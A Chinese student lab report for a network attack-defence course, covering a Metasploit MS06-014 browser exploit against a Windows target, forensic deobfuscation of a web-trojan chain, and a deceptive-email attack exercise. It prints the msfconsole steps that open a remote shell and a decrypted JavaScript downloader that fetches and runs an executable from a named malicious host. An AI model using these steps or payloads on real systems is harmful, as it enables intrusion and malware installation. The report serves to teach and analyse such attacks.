20212911陈金翔-2022-3 网络攻防实践 第十一次(第十三周)作业
1.实践内容
(1)web浏览器渗透攻击
任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
实验步骤:
①选择使用Metasploit中的MS06-014渗透攻击模块
②选择PAYLOAD为任意远程Shell连接
③设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本
④在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL
⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令
(2)取证分析实践—网页木马攻击场景分析
实践过程:
①首先你应该访问start.html,在这个文件中给出了new09.htm的地址,
②在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到 http://192.168.68.253/scom/hashed/哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。
③如果解密出的地址给出的是网页或脚本文件,请继续解密。
④如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。
⑤重复以上过程直到这些文件被全部分析完成。
(3)攻防对抗实践—web浏览器渗透攻击攻防
攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。
钓鱼邮件
钓鱼邮件指利用伪装的电邮,欺骗收件人将账号、口令等信息回复给指定的接收者;或引导收件人连接到特制的网页,这些网页通常会伪装成和真实网站一样,如银行或理财的网页,令登录者信以为真,输入信用卡或银行卡号码、账户名称及密码等而被盗取。
2.实践过程
1.web浏览器渗透攻击
输入msfconsole命令打开msfconsole
输入search MS06-014 ,查找MS06-014的渗透攻击模块
输入use 0,使用该模块
输入命令use exploit/windows/browser/ie_createobject使用漏洞:
输入set lhost 192.168.2.8设置攻击机地址;
设置端口和路径:
set SRVPORT 80
set URIPATH /
运行exploit,构造出恶意网页木马脚本
set payload windows/shell/bind_tcp
run
我们在靶机中模拟受害者的操作,由于某种原因受害者打开了URL:http://192.168.2.8:80
在攻击机的Metasploit软件中查看渗透攻击状态,发现成功建立了一个session
输入sessions查看已经建立的链接
输入指令"sessions -i 1"打开会话1
成功获取到shell,可以对靶机进行控制
2.网页木马攻击场景分析
打开 start.html 文件,在其中搜索"new09.htm",找到两处,如下图:
vim搜索技巧,按下/进入搜索模式,输入内容按下回车完成搜索,n跳转到下一个,N跳转到上一个
从这两处可以看出 start.html 文件在引用 new09.htm 文件时没有写绝对路径,所以new09.htm 文件与 start.html 文件在同一目录下。同样,下载下来并用记事本打开,可以发现引用两个文件,
一个是http://aa.18dd.net/aa/kl.htm 文件,另一个是 http://js.users.51.la/1299644.js 文件。如下图:
接下来分别对它们作 MD5 散列,得到结果如下图:
http://aa.18dd.net/aa/kl.htm
http://js.users.51.la/1299644.js
在文件夹中分别找上述对应Hash值的文件,并打开,可以发现, 文件23180a42a2ff1192150231b44ffdf3d3 中的内容显然不是我们要找的,第二个文件看起很复杂看起来像我们要找的文件。
第二个文件的内容看起来很复杂,但实际上这是一种被称为 XXTEA+Base64 的加密方法,对付这种加密方法,我们只要找到它的加密密钥就可以。注意上面的倒数第三行,即:
t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));
xxtea_decrypt 函数的第二个参数 \x73\x63\x72\x69\x70\x74 就是密钥。这里简单地使用了 16 进制加密。我进行在线转换一下,可以得到密钥是"script",如下图:
使用XXTEA+Base64进行解密:
然后对引号内的十六进制数进行转字符串的操作,便可以得到以下内容:
可以看到这个文件利用到的应用程序漏洞有"Adodb.Stream"、"MPS.StormPlayer"、POWERPLAYER.PowerPlayerCtrl.1"和"BaiduBar.Tool",分别对应利用了微软数据库访问对象、暴风影音、PPStream 和百度搜霸的漏洞。这些都是现在网络用户使用非常频繁的软件。另外,这个文件还引用三个 js 文件和一个压缩包(bd.cab,解开后是 bd.exe)。之后,,分别计算"http://aa.18dd.net/aa/1.js"、"http://aa.18dd.net/aa/b.js"、"http://aa.18dd.net/aa/pps.js"和"http://down.18dd.net/bb/bd.cab" 的md5值:
文件 |
MD5值 |
5d7e9058a857aa2abee820d5473c5fa4 |
|
3870c28cc279d457746b3796a262f166 |
|
5f0b8bf0385314dbe0e5ec95e6abedc2 |
|
1c1d7b3539a617517c49eee4120783b2 |
依次打开相应的文件:
1、http://aa.18dd.net/aa/1.js (5d7e9058a857aa2abee820d5473c5fa4)
打开相应的文件之后能够发现是十六进制数据:
进行转化之后可以得到:
var url="http://down.18dd.net/bb/014.exe";try{var xml=ado.CreateObject("Microsoft.XMLHTTP","");xml.Open
("GET",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path="..\\ntuser.com";as.savetofile(path,2);as.close
();var shell=ado.createobject("Shell.Application","");shell.ShellExecute("cmd.exe","/c "+path,"","open",0)}catch(e){}
该代码前面部分下载了一个 http://down.18dd.net/bb/014.exe 的可执行文件,后面部分是对ADODB漏洞的继续利用。
2、http://aa.18dd.net/aa/b.js (3870c28cc279d457746b3796a262f166 )
这里使用了packed加密方法,解密结果为:
我们可以看到关键字shellcode,根据参考文件,shellcode是一个下载器,因此需要寻找其中的URL,最后找到的结果为 http://down.18dd.net/bb/bf.exe 得到一个可执行文件。
3、http://aa.18dd.net/aa/pps.js (5f0b8bf0385314dbe0e5ec95e6abedc2 )
这里采用了八进制加密方式,解密结果为:
可以得到可执行文件http://down.18dd.net/bb/pps.exe
4、http://down.18dd.net/bb/bd.cab (1c1d7b3539a617517c49eee4120783b2 )
这是一个压缩文件,解压缩可以得到一个叫bf.exe文件。
使用超级巡警工具,查看可执行文件的加壳情况,发现用Delphi写的:
用W32Dasm软件反汇编bf.exe文件,并查看串式参考内容清单:
从"goto try",":try","Alletdel.bat","cmd /c date ","cmd /c date 1981-01-12","del ","del %0"等这些字符串中推断,这个程序可能生成一个叫"Alletdel.bat"的批处理文件,这个文件中有一个标签叫"try",批处理文件会不断的执行这个标签下一行的命令,命令内容可能是判断文件存在性,更改系统日期,删除某些文件。
从":\AutoRun.inf","[AutoRun] open=","AutoRun.inf","shell\Auto\command="中,猜测这个程序可能在磁盘根目录下生成自动运行的文件,以求用户不小心时启动程序。
"瑞星卡卡上网安全助手 - IE 防漏墙", "允许","允许执行"可以看出这个程序有一定的防系统保护软件的能力。
可以看到有20个"http://down.18dd.net/kl/**.exe",这个程序要下载一堆木马。
3.web浏览器渗透攻击攻防
攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。
攻击方
按照第一个实验的步骤使用MS06-014漏洞生成URL
当收信人不小心点击到该URL时,即可完成实验一中的攻击
防守方:
防守方接收到该邮件:
打开其源代码,可以看到中间使用了大量的空格、水平制表符和回车等,这样能够对关键指令做字符串拼接处理,防止被杀毒软件发现:
使用工具将空格(0x20)、水平制表符(0x09)和回车(0x0a、0x0d)等删掉:
可以得到完整代码如下:
阅读代码,可以看到其中使用到document.location加载了payload,并且下一行中后面跟了一个可执行文件b0.exe,猜想这个可执行文件应该是以攻击机为服务器,通过网页下载到靶机上的:
打开靶机任务管理器查看正在运行的进程,能够发现出现的那个可执行文件:
3.学习中遇到的问题及解决
问题:八进制转换ACill码没有找到合适的在线工具
解决方法:先把八进制转十六进制再转ACill码
4.实践总结
通过本次实验我们可以清楚的意识到,一次不经意的点击就可以使自己的电脑完全暴露于危险之中,这提醒我们对待任何邮件或其他地方的URL,一定要谨慎谨慎再谨慎,一步错误就可能带来无法挽回的后果。